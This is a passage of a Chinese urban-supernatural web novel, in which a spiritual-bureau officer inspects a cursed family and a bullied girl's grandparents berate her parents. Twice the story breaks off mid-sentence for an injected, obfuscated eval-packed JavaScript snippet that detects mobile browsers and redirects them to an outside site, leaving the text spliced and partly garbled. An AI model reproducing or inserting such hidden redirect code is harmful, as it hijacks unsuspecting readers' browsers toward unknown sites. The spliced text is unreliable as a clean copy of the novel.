首先说明,他不是不愿意加班,他虽然是长桥派出所的所长,但他从来都身先士卒。 爱岗敬业可是他身上最显著的标签。 主要是吧,上级领导电话里说的模模糊糊,什么叫“不要问太多,尽管配合”、“听从指挥”…… 刚开始他以为有大案要案,当时他心跳那个加速啊,狂飙二百迈,大案要案意味着什么,政绩!尤其他只是配合,不用主导,退可攻进可守的位置。 他虽然已经是很多人的头,但他头上面还有更多的脚。 他可太想进步了。 但现在看到来的两个人,不像大案要案的样子啊,最关键的是俩人身上都没有他们这一行的味儿。 中年男子叫汪连平,他一眼看出林明生的怀疑,他已经习惯了,因此非常自然地掏出一个证件递给林明生。 “你好啊林所长,我是灵异监察局的,这是我的证件,如果没有问题,咱们去见下当事人?” 没问题? 问题可大了! 林明生听到“灵异监察局”几个字的时候都想打电话报警了。 但在接过证件看完后,林明生又犹豫了,因为证是真的,上面其中一个徽章他可太熟悉了。 一般人可能会觉得徽章而已,造假多容易啊,哎,别把国家想的那么蠢,你都能想到,国家能想不到?因此公职人员证件上的徽章一般会结合防伪技术来增强安全性。 林明生天天摸证件,不至于连徽章是真是假都看不出来。 他纠结的递回证件,说:“行倒是行,但今天太晚了,不如明天我去联系,咱们再去见?” 汪连平非常痛快的答应下来,爽快的都让做好辩论的林明生一愣。 甚至汪连平都没让林明生出门相送,“还是林所长您想得周到,我和小宁来的着急,还没找到住所的地方,睡觉可是大事,我俩去解决解决。别说,开一路车还真有些累,不说不困,一说真有些困了。” 汪连平如此善解人意,林明生哪怕仍旧怀疑,但不免对俩人升起一些好感。 送走俩人,林明生转身掏出手机,打给上级领导:“领导,您……” 他刚张口就被领导堵住:“别问,配合就行,人是真的。” 说完,电话挂掉。 什么细节都没问出来,林明生都麻爪了,思来想去,他一咬牙决定干了,上级领导都这么说了,你不照干,还想不想进步了? 然后仔仔细细保存好刚刚那通电话的录音。 别误会,他这是职业病,世道险恶,要好好保护好自己。 宁天华跟着汪连平出来派出所,好奇地问:“汪叔,咱为啥要这么着急的来派出所呢?” 休息一晚,明天再来也不晚啊。 汪连平启动汽车,开往派出所周围的酒店,还得注意辨别,不能选择五星高档酒店,要不报销的事不好整。 经常报销的人都有经验,报销是有额度、标准的,不是说你花了那么些钱就能全部给你报的。 汪连平说:“小宁啊,你得时刻牢记一点,咱干的工作时时刻刻和人命挂钩,快一秒指不定就制止犯罪了,所以必须争分夺秒。” 宁天华恍然大悟,“原来是这样啊,怪不得局里人都在背后夸您是非常值得学习的前辈呢,我一定要向您学习,把伸张正义的精神灌入我的意识。” 汪连平咳嗽一声,强压下要勾起的嘴角,谦虚的说:“我还差得远,咱们局里多的是值得学习的老前辈呢。” 到酒店门口,汪连平先问能不能开发票,确认能开发票才定下一个二人间。 宁天华满脸好奇,跟着汪连平到房间后,东摸摸西看看,汪连平惬意的躺在床上,看他的动作,问:“小宁你看啥呢?难道是屋子里有针孔摄像头?” 汪连平一下跳起来。 宁天华连连摇头,“不是不是,我是没见过这样的酒店,所以好奇的看看。” 汪连平放松下来,满眼怜惜的看着宁天华,可怜的孩子哟,以前都过得啥日子啊,连这样的条件都觉得不错。 他大手一挥,说:“没事,咱们以后有的是机会住酒店。” 宁天华兴奋点头。 俩人收拾完,宁天华好奇的问汪连平:“汪叔,你说那三个人真的遇到鬼了吗?” 汪连平:“那谁知道,得见了面才能确定。” 自己啥水平自己清楚。 他虽然在灵异局里算个人物,但那是因为局里都是蔫吧苗,他是矮子里面拔将军——短中取长。 真要是鬼,这事还真有些不好处理。 宁天华躺下,喃喃的说:“不知道其中有没有人捣鬼,真要是有人能做到这个程度,要人命应该也很容易吧,为啥没有这样做呢?” 汪连平同样有想到这点。 是啊,如果真的存在能人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237012|166149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为啥这位能人明明有更重的手段,却没用呢? 所以应该没有能人掺和的吧。 能人洛宛童表示,是她不想吗?是她不能! 她确实想在人道方面消灭闫旭一家,让他们不再拥有公民权利,但某位前上司一直守在她身边,一些手段真不好拿出来。 可能有人会觉得,你都离职了,还担心前上司的处罚吗?这就好比某天你接到前上司的电话,说你现在哪哪做得不对,重点是“现在”,然后说我要处理你。 你会先一愣,然后破口大骂、人身攻击,对方父母能在你口中活下来都算你口齿不清、笨嘴拙舌。 可如果这位前上司是拥有执法权的上司呢,而说你做得不对是指你违反法律了呢? 是不是瞬间就冷静不少。 甚至张口人身攻击时都得想一想,我是不是会构成侮辱罪、妨害公务罪、寻衅滋事罪。 洛宛童现在就是这么个情况。 她是不用辛辛苦苦出任务挣功德,但不意味着她自由了。 前面说过,天师和大师有很大不同,这个不同不仅在能力上,也在监管上。你真以为天师的天只代表天道啊? 它还代表天才。 你要明白这个因果关系,天师不是因为给天道干活而能力出众的,而是因为能力出众勉强被天道承认你是它马仔。 都能被天道看上,这个能力有多出众,不必细说了吧。 这种有特殊能力的人要是没有监管,随心所欲起来,会造成多大的麻烦,也不必细说了吧。 关键是人家辛辛苦苦为你出生入死,不能一朝退休,你就废了人家。 被人知道你卸磨杀驴,谁还愿意在你手下干。 可抱着核弹的小孩招摇过市,你不能无缘无故抢走人家的核弹,又担心小孩灵机一动,怎么办? 好办,监管! 洛宛童现在就是这样的情况,和判缓刑一个意思。 缓刑是什么,是不让你进监狱,让你在外面服刑。但不进监狱你就自由了?你就没事了? 真这么想的人都是法盲,怪不得会犯法。 缓刑是你犯罪了,但因罪责较轻且认错态度良好,法院给予你改过自新的机会,以监督代监禁,是一种法制上的人道主义关怀。监督什么意思,就是看着你,看你会不会再犯事,并时刻准备抓你回去。 要不是有这个紧箍咒在头上,洛宛童至于绕这么大一圈才动手嘛。 早在她从医院清醒的那一刻就对霸凌团伙和他们的父母扒皮抽筋、点天灯了。 好人会被人拿枪指着,她不做好人。 回到九阙云台,洛宛童撕下身上的一张符,这叫“迷惑符”,从迷魂阵中改造而来。 是洛宛童自创的一种符,作用便是迷惑他人对使用者的感知,在他人眼中,使用者只是一块路边的石子或者草木,非主动表现,不可为人所观察。在知道现代还有摄像头这种高科技玩意儿后,洛宛童还与时俱进的更新了下它。 这里特意强调一下,没有隐身符这一说,这个玩意不归属人间,属于地府或者天庭的范畴。 洛宛童在医院大摇大摆晃悠而没被逮住便是用这个玩意。 揭下的一瞬间,家门口焦急走来走去一群人立马注意到洛宛童,他们眼睛放光,争先恐后的跑向洛宛童,在洛宛童做好飞踢的准备后,第一个冲过来的人“咚”一声,重重跪下来。 后面跑过来的人跟着一个接一个跪下,霎时只剩一个站着的洛宛童。 11. 第 11 章 洛宛童缓慢放下腿,看着面前一张张很眼熟的面孔,一挑眉,什么话都没说,抬脚往家门口走去。 跪下的人眼含热泪,明明不想让洛宛童离开,却一个敢伸手拦人的都没有。 鳄鱼的眼泪。 他们流泪是因为他们认识到自己错误,诚心悔过吗? 不是。 是他们挨打知道痛了,知道疼了,知道自己再不认错要完蛋了,所以才来这里流几滴毫无用处的眼泪。 下跪而已,谁都能跪,谁都能做到的事情,还算个什么! 闫家冒出来的一个个负面新闻后,他们倒是幡然醒悟了,时间多巧妙啊。 但洛宛童这里不是垃圾场,世上人那么多,她为什么要看那些试图重新做人的东西。 洛宛童眼神泛冷,而且她不会给仇人第二次机会! 这些来求饶的人只能眼睁睁看着洛宛童走进家门,瘫软在地上,互相指责的力气都没有。 闫家那么大的势力都被整顿的苦不堪言,收拾他们这些小喽啰还不是手到擒来。 他们不会那么天真认为闫家最近的事故和洛宛童无关,只看他们到今天还张不开的嘴和无法离开医院的孩子,他们便知道洛宛童是真的有让他们死无葬身之地的本事。 这些家长们心中不可抑制的升起对自己孩子的怨恨,要不是他们作死,不好好上学,非得在学校为非作歹、欺压同学,他们作为父母能和这个煞星对上嘛! 要是辛辛苦苦半辈子的家业被一朝葬送,真不如当初他们出生时就掐死他们! 同样觉得世上作死的人真多的还有汪连平。 他看到闫家三人后,倒抽三口凉气,差点没把他周围的空气吸干。 好家伙!好家伙! 汪连平紧皱眉头,绕着已经完成直角的闫家三人转圈。 宁天华睁大眼睛,牢牢在心里记汪连平的动作。 这可都是能从前辈身上汲取到的经验和能力,必须要好好记。 闫家三人同样眼巴巴……哦,不对,他们没办法瞅着汪连平。 不过他们眼中确实充斥着希望,这么些天,他们吃不好睡不好,每天被酸痛折磨,有时候难受的他们恨不得去死,但等临动手时,又下不去手。 他们有钱有地位,大好的生活还没享受够,一死不就什么都没了。 他们等着汪连平说他能给他们解决问题。 本来是不信的,但谁让这俩看着不大靠谱的人是派出所所长带过来的,而且代表官方。 官方出身,总得有些本事吧。 闫成齐甚至已经想好,等汪连平解决他们身上的问题,就把洛宛童那个斜魔歪道告诉他。 匡扶正义可是他们作为官方的责任和义务。 跟随而来的林明生面上遮掩的很好,但其实眼中同样好奇得很。 他倒是看过不少小说,咳,那个,他可不是在上班时间看的啊,他可是爱岗敬业的好所长,从不偷奸耍滑。 他是下班后才看,打发打发时间。 小说里有各种神秘莫测的本事,什么头飞出去人还活着啊,一个诅咒对方家破人亡啊,还有摆个风水局要谁谁生、要谁谁死…… 但那不都是小说嘛,小说能当真吗? 谁知道现在忽然世界观有点破碎,娘的,那些玩意儿竟然是真的! 不行,他回头再翻翻那些小说,指不定背后是一个大佬在写他亲身经历呢。 他得多看看,储备点保护自己的知识,可不能让嫉恨他的小人算计他,好不容易当上所长,他还没好好奉献自己,在这个岗位上发光发热呢。 转完圈,汪连平摸着下巴思考,在场人都不敢贸然出声打扰他的思绪。 但闫家三人完成直角的身体不支持他们不打扰。 闫成齐手撑着腿,他的视线只能让他看到脚尖这一圈,因此他看不到站在他身后的汪连平。 “汪……汪大师?” 汪连平没有反应。 闫成齐加大一些声量:“汪大师!” 汪连平回神:“啊?啊!怎么了怎么了?” 闫成齐极力压制升起的不耐,他说:“汪大师,您看我们现在的情况,您有办法吗?” 汪连平“啧”一声,沉吟一会儿,又“啧”一声,还是不说话。 直接给闫成齐啧的怒火彻底控制不住,“汪大师,你到底有没有本事?” 本身他便不是什么好脾气,现在又成了这样,要不是还有求于汪连平,他早骂人了。 汪连平还没有说话,宁天华先忍不住,他出声道:“闫先生,请你注意你的态度,我们又不是你的下属,有脾气别对我们使!” 谁还没有点脾气了。 闫成齐一哽,“你……” 汪连平转个半圈走到闫成齐前方,好脾气的说:“闫先生别生气,小孩子嘛,年轻气盛,您多多谅解。不过,小宁说的不是没道理,您现在这个样子是吧,有点情绪,我们充分理解,但是吧,越是这个时候,越得冷静,要不然啊,坏事。” 闫成齐听出汪连平的威胁,他强压下脾气,心中暗暗想,等汪连平解决了他的问题,他绝对要这俩人好看! “那汪大师,您有思路了吗?”闫成齐深吸口气,憋屈的问。 汪连平再次沉吟半晌,这次闫成齐不敢催。 最后汪连平说:“实话实说,没有。” 这下不止闫成齐炸了,闫晶和王雅琼同样炸开锅。 闫晶声音尖利的骂:“你没有本事解决,你在这里装半天深沉,装个屁啊,你要早说你没有本事,我们早tmd让你滚蛋!” “不对,你tmd是不是来我们闫家骗吃骗喝来了,现在骗不住才说实话。好啊,你和这个林所长是不是一伙的!” 闫晶的手得撑着腿,没办法空出来,要不然高低指着汪连平鼻尖骂。 王雅琼虽然没像闫晶那样破口大骂,但话里话外同样是指责:“林所长,我们是相信你才让这两个人进来,但是你不能作践我们的信任,现在折腾我们一圈,是不是有点说不过去。” 林明生一脸尴尬,他张了张口,实在不知道说啥。 来之前他以为会是一个你好我好大家好的局面呢,不是,你都没能力解决人家的问题,你非要见人家干嘛,不纯属没事找事嘛。 你看这事闹的。 林明生有点埋怨。 宁天华非常生气,要不是汪连平拦着,他都能上去抽闫晶嘴巴子,宁天华的生平信条里可没有不打女人这一说。 不打女人,到时候遇到女斜魔歪道咋执行公务,放过啊?那不脑子进屎了嘛。 虽然被拦下没办法动手,但嘴没闲着,“就你家这样的态度,怪不得有人整你们呢,纯属活该知道吗?活该!” 汪连平拍拍宁天华的肩膀,示意他消消气,剩下的让他这个前辈处理就行。 不能总让一个小孩维护啊,他这个前辈带人出来,总得给人留个好印象吧。 汪连平看都没看闫晶和王雅琼俩人一眼,笑呵呵的说:“闫先生,我是没办法处理你们身上的问题,但是闫先生您也没和我们说实话不是。” 闫成齐一滞。 他确实没有提及是谁让他们成这个样子,也没说他们为啥成了这个样子。 因为他怕汪连平一旦知道原委,哪怕有能力解决也因为担心惹到背后的人而不敢动手。 他知道一些能人异士的行事风格,他们中大多数都不喜欢和同行结仇,一件事里如果有同行掺进去,其他人都会自觉避开。 毕竟为了别人和人结仇,太不划算。 要不是因为这样,他也不至于到现在还维持这个样子。 之前找来的那些狗屁大师,谈钱时满嘴承诺,大包大揽,吹嘘自己本事天上有地上无,一到真刀真枪,跑的比兔子都快。 汪连平注意到闫家人的沉默,他说:“闫先生,我虽然本事不大,但眼力还是有几分。你们身上的问题,不是鬼物造成,倒有些像咒。” “我刚进门时就注意到,你们家的风水也不大对。按理你们选择的这个位置风水应该很不错,前水后山,天高地阔,是非常宜居宜人的地方,尤其你们大门口那三尊石狮子,当初应该是找大家打造,神气具现,这样的石狮子绝对是会护着家门。” “可我一路走来,你们家完全没有生机勃勃的样子,灰灰沉沉,晦气缭绕。” 汪连平还不知道这三尊石狮子已经具灵,要不然他绝对都不会踏进闫家大门。 开玩笑,连具灵的石狮子人家说弄走就弄走,那弄掉他的小命还不和玩儿似的。 “所以,你们家绝对是惹到不得了的人物,人家先破坏你们家的风水,再来搞你们。” 汪连平都暗自感叹背后之人的大手笔。 要知道闫家的风水可是自然形成,而以闫家的能力当初迁居时,方方面面绝对有找人调理,还不会是一般人,说不定闫家搬到这里住都是经过高人指点。 结果依旧被人搞成这样。 关键的是他还没看出来背后之人是如何破坏闫家风水的,你说埋晦物吧,闫家是整体上空都漂浮着晦气,但除了闫家,哪怕是只差一毫米,都没有晦气,能造成如此场景,得是什么样的晦物? 退一步说,真有这样的晦物,能使它如此听话的人更不简单。 反正汪连平自己是做不到。 使用阵法、符?不可能,绝对不可能,那不是大手笔了,那是败家子。现在阵法和符箓可是各家的宝贝,尤其是具有攻击力的阵法符箓,哪怕是玄门里传承数百年的世家都会藏得严严实实,用一个少一个,不到关键时刻,都不可能拿出来用。 汪连平越琢磨越觉得这里面水很深,他把握不住。 出于良知,汪连平最后给了自己的建议:“闫先生,现在你的路只有两条,要不和人家认错,看你的表现,应该知道是谁搞得你们,要不你找更能耐的人来,我能力有限,实在没办法。” 说完,汪连平拽着宁天华离开。 林明生睁大眼睛,眼看俩人身影都要看不见,赶忙说:“那个闫先生,我也先走了。” 说完,着急忙慌的去追汪连平和宁天华。他坐着汪连平车来的,这个地方可打不着车。 出来们,宁天华好奇地问:“汪叔,咱真不管了啊?” 虽然他非常看不惯闫家三个人,认为他们都是白眼狼,他们受这个罪都是活该,但他们作为灵异局的人,撒手不管是不是不太好。 灵异局其中一条要求是遇到随意用玄学手段欺压普通人的事情,必须要处理。 汪连平:“小宁啊,汪叔要告诉你个真正的道理,碰到打不过得罪不起的人,咱们能躲便躲,什么舍生取义、视死如归、鞠躬尽瘁,全都是狗屁,人民的命是命,咱们的命就不是命了。” “留得青山在不愁没柴烧,没脑子的牺牲除了让人家爽一爽,增加人家的成就值,根本没有任何用处。” 宁天华迟疑的点头,这个理念似乎和他进入灵异局时受到的培训不大一样啊。 汪连平看出宁天华的犹豫,他知道新人入职培训的内容,老一套嘛,对此他从没有多说过,毕竟这一行死亡率和受伤率真的很高,没有点牺牲精神真坚持不下去。 要不是看宁天华顺眼,他也不会说交浅言深的话,如果宁天华领悟不到,那就尊重个人选择,各有各的路不是。 汪连平揭过这一茬,转而说:“咱们没能力处理闫家的情况,得向上面打报告,能不能求到援助。” 宁天华点头,“哦哦,这样啊。” 但其实汪连平心中知道求到援助的可能性不大,灵异局到底啥实力,他还不清楚吗? 他虽然本事不算大,但他走南闯北那么多年,见识不算少,今天的闫家的事,他都没看个清楚,灵异局里其他人更看不明白。 回去路上林明生欲言又止,汪连平全当没看出来,自顾自开车。 那边闫家三人气够呛。 闫晶埋怨道:“爸,你瞅瞅他们什么态度啊,还灵异局呢,怕不是几只小猫小狗凑一块,自己凑一块组的不入流协会吧。” “说来都怪我哥,要不是他招惹到人,咱们能成现在这样吗?现在他倒好,舒舒服服躺在医院里,啥烦恼都没有,留咱们在家受罪。” 闫晶此时丝毫没有想起来,最开始是他们家先找人对洛宛童下手,事情没成才招人报复。 “闭嘴!”闫成齐脸色铁青,喝止闫晶没完没了的抱怨。 闫晶不服气的撇嘴,本来就是,还不让人说。 闫成齐拿起电话,给在医院看顾闫旭的女助理打电话,结果电话一直响却没有人接。 闫成齐不满,这个小程,做事一点都不靠谱。 挂掉电话,闫成齐让王雅琼给她派到医院的助理打电话,这一次电话倒是接通了。 闫成齐接过手机,“喂,小亮,闫旭最近状况怎么样?” 闫晶撇嘴,非常不满,她哥都害他们成这样了,他爸还关心呢,真不知道有一哥有什么用,好处没见到,净受他连累。 小亮心一凛,想到这几天总是挨打的闫旭,无法说状态不错,但实话实说,他担心闫成齐骂他,问他为啥没护着,小亮他又不傻,他拿的工资里可没有替老板挨打这一份,于是吞吞吐吐的说:“还、还可以。” 闫成齐本来目的就不是关心闫旭,都没在意小亮的吞吐,说:“既然不错,就让他出院吧,医院人来人往,哪有在家里舒服。” 小亮这下没迟疑,“好的,董事长。” 闫成齐很满意小亮的痛快,想到刚刚没打通的电话,随口问:“小程没在医院吗?” 小亮脸一僵,不知道该咋说,自从那天小姑娘来,之后再没看到过女助理,他以为董事长已经知道了呢。 说实在的,要不是他现在缺钱,他也跟着跑。 闫成齐不满的问:“怎么不说话?” 小亮实话实说:“我已经有三天没看到过小程,她好像是辞职了、吧?” 闫成齐:“辞职?算了算了,你去给闫旭办出院手续吧。” 闫晶眼中闪过幸灾乐祸,看来她爸还没老糊涂,知道谁才是罪魁祸首。 不提闫旭得知自己要出院有多么暴怒,骂的小亮狗血淋头,闫成齐打着让闫旭给洛宛童赔罪的想法先一步泡汤。 因为在两天后,他被人从家里押解出来,以谋杀的罪名被逮捕,他畸形的身体再也无法隐藏,暴露在众目睽睽之下。 因为无法行走,他是民警同志架着出去的。 当时闫成齐想死的心都有,风风光光大半辈子,谁见了都毕恭毕敬,结果现在脸丢了,尊严也没了。 洛宛童划上去视频,一同划上去的还有闫成齐的丑态,她看向面前两张讨好的鬼脸,说:“又有啥事?” 飞白举手,乖巧的说:“报告大佬,我们发现重要讯息!” “王尉程”连连点头,这一次绝对是重要消息。 洛宛童躺在卧室沙发上,懒洋洋打个哈欠,不慎感兴趣的说:“有消息就继续找啊。” 飞白说:“不是大佬,我们找到让糊涂蛋死亡的罪魁祸首了!” 洛宛童换个姿势继续刷视频,“哦,那还不去报仇。” 飞白一噎:“其实也不是,我们其实没确定那个人是让倒霉蛋死亡的真凶。” 洛宛童:“那继续找证据证明是。” 飞白激动:“是吧是吧,大佬你也觉得那个人是真凶对吧。那天你说让我们去好大学找一找,我和糊涂蛋第二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237013|166149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天就开始一个一个大学逛,多亏了大佬,要不然我俩还得做好久无用功。” “不过现在大学扩招有点太夸张了,一个大学而已,占地两三百万平方米,学生三四万人,怪不得申扈市的房价高呢,地都给那些学校占去了,可不是没有地方建房子了嘛。” 飞白对房价非常有怨念。 “王尉程”戳戳飞白,提示他话题跑偏了。 飞白急忙拉回,“呸,跑远了跑远了,我和糊涂蛋一个宿舍一个宿舍的逛,眼睛都快看瞎了,终于在申交大碰到真凶,当时糊涂蛋一看到他便灵魂震颤,几乎快维持不住人性,要不是我当机立断带着糊涂蛋离开,怕是现在要看不到糊涂蛋了。” “糊涂蛋反应那么大,要说没有关系,我肯定不信!所以,真相只有一个,那个人是杀害糊涂蛋的凶手!” “糊涂蛋执着找记忆的原因便是为自己寻求正义,让该受到惩罚的人去该去的地方!” “有道是:人间正道是沧桑,罪犯终须伏法章!善恶有头终有报,只争来早与来迟。” 飞白说的荡气回肠。 “王尉程”不自觉的为他鼓掌。 洛宛童:“……” 满嘴顺口溜,想当阎君啊。 “所以,你找到糊涂蛋的身份了吗?”洛宛童发出灵魂一击。 飞白蔫儿了,嗫嚅道:“没……还没呢。” 洛宛童哼一声,“那还站着干嘛!” 飞白:“哦哦,那我带着糊涂蛋去找他身份去了!大佬你放心,我绝对会查明糊涂蛋死亡的全过程,送那个真凶进监狱里!” 糊涂蛋都没来得及说话,被飞白一把拽住飞走。 洛宛童打个哈欠,瞄到手机右上角的时间:23:45,都没到零点,还早。 于是第二天十点半,睡眠时间还不足六个小时的洛宛童被吵醒。 要不是见叫她起床的是做饭很好吃的张阿姨,洛宛童绝对要会让打扰她睡觉的人尝尝纸人的拳头是什么滋味。 虽然不情不愿的起了床,但洛宛童依旧睡意朦胧,迷迷糊糊穿好衣服下楼,刚拐个弯,就听到一声怒喝: “你也配当个父亲!” 洛宛童一下睁大双眼,什么情况,谁来她家撒野了? “我就是这样教导你的吗?从小到大我有哪里亏待你吗?有关你的大事小事,我不敢说我事事完美,但我敢拍着胸脯说我这个父亲当的问心无愧!” “洛鸣意,你敢拍着你的胸膛说,你问心无愧吗!” 洛宛童收起战斗欲望,原来是爷爷奶奶来了啊。 那她爱莫能助了。 洛宛童也不着急下去,斜靠着扶梯,静静听下面的交谈。她站的这个位置正好是拐角的上方,下面的人不站在楼梯口往上瞅,根本看不到她。 一道带着年龄感的女声响起,虽不像男声爆喝,但仍可听出话里的失望,“鸣意,从小到大你都是个聪明孩子,我和你爸充分尊重你的想法,哪怕你毕业后想在申扈市发展,我和你爸都二话没说给你凑一笔创业基金。” “我自认为我对你掏心掏肺,但我没想到,我用心教导出来的孩子会成如今的样子,小时候我和你爸哪怕再忙,有哪一次缺失过对你的陪伴?” “孩子,你未免太凉薄了,童童可是你的姑娘啊,你就能眼睁睁对她不闻不问?” 洛宛童挑眉,原来爷奶是因为她的事情生气啊。 施凤栖张了张嘴,小声为洛鸣意解释:“爸,妈,其实不是不关心童童,就是……” 洛爷爷抬手制止施凤栖说话,儿媳妇不是自己生的,他的素质无法让他骂儿媳妇,说来说去,儿子要是上心,童童哪会遭遇那样的事。 不过虽然这样想,洛爷爷其实升起了对施凤栖这个儿媳的不满。 孩子遭遇不幸,绝不会是一个人的失职! “凤栖啊,你们这么些年一直没空去看我和你妈,我俩不怪你们,知道你俩忙,我俩不给你们添乱,反正我俩有胳膊有腿,能动弹,想你们了,我俩来看你们也行。” 施凤栖低下头。 和洛鸣意结婚的十几年,她去蓉锦市看望老两口的次数屈指可数,现在洛爷爷说的话,哪怕没有一个喝骂,她都羞愧难忍。 “但忙来忙去,总得分出点时间给你们的孩子吧。当初孩子可是你们自己要生的,我和你妈从没催过你们,甚至你们当初生孩子时,我俩都表示如果你们忙,孩子可以交给我们照顾。但你们自己说你们可以照顾,我俩便没有多说。” “唉,凤栖,我心疼童童啊。” 你这个当妈的就不心疼吗? 这句话洛爷爷没有说出口,一旦说出口难免伤及脸面。 洛宛童撑着下巴,静静听洛爷爷洛奶奶讨公道,好似她不是当事人一样。 儿媳妇有顾忌不敢说,自己儿子还不是随便骂,洛爷爷瞅着洛鸣意便开始,一拍桌子骂:“丧良心的玩意儿!你配当个人!畜生尚且有舐犊之情呢,你还不如畜生!” 洛鸣意被骂的满脸涨红,一句话不敢吭声。 洛奶奶拽情绪激动的丈夫,“说啥呢,你骂他是畜生,咱俩成啥了?” 洛爷爷气哼哼:“咱俩和他断绝关系,他自己爱变成畜生,和咱俩没关系。” 洛鸣意:“爸,你看你说的,哪至于要断绝关系啊,你这不是戳我心吗?” 洛爷爷脸扭到一边不去看他,“你还有心呢?我以为你没心没肺呢。自己闺女受那么久的欺负,硬是没有发现过。怕不是知道那群小兔崽子的爸妈有权有势,所以装聋作哑了吧。” 洛鸣意连忙否认:“爸,你这话说的太过了,你不信我,总该相信你和妈对我的教育吧。” 施凤栖说:“对,爸,我俩绝对不是装聋作哑,在知道有人霸凌童童后,我俩立即便开始查真相,知道真相的第一时间便去学校找人算账了!” 洛奶奶冷哼,阴阳怪气的说:“以前我俩相信对你的教育,但现在啊,哼。” 洛爷爷转过脸,皱眉问:“有没有报警,那群小兔崽子年龄都满十四岁了,绝对能进监狱!” 一想到童童被人推下楼梯,磕的血流如注,送去医院后差点抢救不回来,他便后怕。 这不是单纯的霸凌,这是谋杀!那么高的楼梯,都知道摔下去会没命,但他们还是推了,所以这是有预谋的故意杀人! 洛鸣意迟疑,洛爷爷捕捉到他一瞬间的停顿,暴怒的站起身,重重的扇了洛鸣意一巴掌,“你个畜生,你连报警都没有!你还说让我和你妈相信你,你让我们如何相信你!” 洛鸣意被抽的眼镜都飞了出去,施凤栖和洛奶奶都被洛爷爷的动静吓了一跳。 洛奶奶回过神来,气的手哆嗦,痛心疾首的说:“从小到大,我和你爸没有动过你一根手指头,看来我和你爸是对你太好了,好的让你丧失了人性。” “算了,老头子,孩子翅膀硬了,咱们管不住,趁现在咱还能动弹,好好照顾咱们可怜的童童,咱们童童真是受太多苦了……” 洛奶奶眼眶含泪,她也不知道怎么小时候乖乖巧巧的孩子变成如今冷心冷肺的模样。 “走吧,带上童童一起走,咱俩是没有他俩有钱,但这些年总有点积蓄,哪怕砸锅卖铁,咱们也不能委屈童童。” 洛奶奶说完,站起身,要去楼上叫洛宛童。 洛爷爷长叹口气,扶着洛奶奶,要一起上楼。 “爷奶,是我不让爸妈报警的,不管他们的事。”关键时刻,洛宛童下来,为洛鸣意和施凤栖解释。 至于为什么没有快点下来,而是在上面听热闹,那还用说,看父母挨打挨骂啊。 不报警这事他们冤,但前面小姑娘受那么多罪他们总不冤了吧。 这一巴掌是应该挨。 12. 第 12 章 洛奶奶眼泪汪汪的看着眼前乖乖巧巧的孙女,都这么大了,她这个奶奶都没好好看过几回,现在想想,真不如当初她和老头子态度强硬点带走孙女。 造孽啊,真是造孽。 “你们俩都丧良心!瞅瞅多好的闺女,现在都还在惦记你们两个不要脸的爹妈,还在给你们开脱!”洛爷爷指着洛鸣意鼻尖骂。 他恨不得再上前给洛鸣意一巴掌。 洛鸣意和施凤栖张了张嘴,最终还是没说出什么来。 洛宛童没看两人,两个老人年龄不小了,今天又是骂人又是打人,气成这样,再气出病来。 她伸出一只手,僵硬的拍拍洛奶奶的肩膀,生硬的哄:“爷,奶,别生气,气大伤身。” 洛奶奶眼眶里一直含着的眼泪一下就冒出来了,“童童啊,都怪我和你爷爷没教好你爸爸,让你受大罪了,奶对不起你,都是奶不好。” “童童别怕,我和你奶为你做主,不用替你钻钱眼里的爸妈担心,现在他俩已经完全被金钱腐蚀,根本不配成为咱社会主义接班人。”洛爷爷是老党员,平生最为自己的身份骄傲,结果老了老了,让亲生儿子在他红彤彤的心脏上滴了墨。 洛宛童十分麻爪,她一点安慰人的经验都没有啊。 她最经常看到哭的人是经过她深情教诲后发自内心忏悔以至痛哭流涕的邪门歪道们。 而他们是不需要的安慰的,唯一需要的是大逼斗,实在嫌哭的烦,还能上前给两巴掌。 但她总不能给她奶奶两巴掌吧。 老太太哭的稀里哗啦,不知道如何安慰的洛宛童果断决定转移话题,“爷,奶,不报警是我的决定。” 洛爷爷洛奶奶没当回事,在俩人心里,洛宛童还是那个反应有些迟钝的孙女,报不报警的,还不是家里大人怎么说她怎么想。 洛奶奶的怜爱的摸摸洛宛童的头,恨声道:“童童,你别怕,爷奶来了,爷奶为你讨公道,哪怕拼了我和你爷爷的老命,也会让那群小兔崽子得到报应!” 洛鸣意也十分麻爪,眼瞅着自己要变成父母眼中十恶不赦的坏蛋,偏偏他还无从辩解。 兜里的手机一直在震动,但洛鸣意没有心思去看是谁打过来的电话。 他和站军姿一样站着,只能眼巴巴瞅着祖孙三人。 施凤栖同样很忙,她最近一直忙着设计下一季的新款和马上上市的冬季衣服,方方面面都要她把关。 但忽然此刻她心里卸了股拼劲儿,摸着胸口挂着的平安符,心里五味杂陈。 她知道洛爷爷洛奶奶怨怪上她了,虽然洛爷爷洛奶奶没怎么指责她,但骂丈夫的每一句话又何尝不是在表达对她的不满。 洛爷爷担心洛奶奶哭岔气,扶着她,拉着洛宛童要坐下,问洛宛童:“童童,你告诉爷爷奶奶欺负你的都是谁?” 洛奶奶一听,抹干眼泪不哭了,“对,是谁,告诉爷爷奶奶奶。” 他们两个过来最开始是因为好久没看到孙女,想着最近正好有空,说走便走,来的突然就没有打招呼。 结果到地,看到儿子家的张阿姨和别家的保姆聊天,当时有点距离,张阿姨没有注意到他俩。 但好歹干了三四年的住家保姆,他俩自然认识张阿姨,每回过来张阿姨都忙前忙后,是个挺好的人。 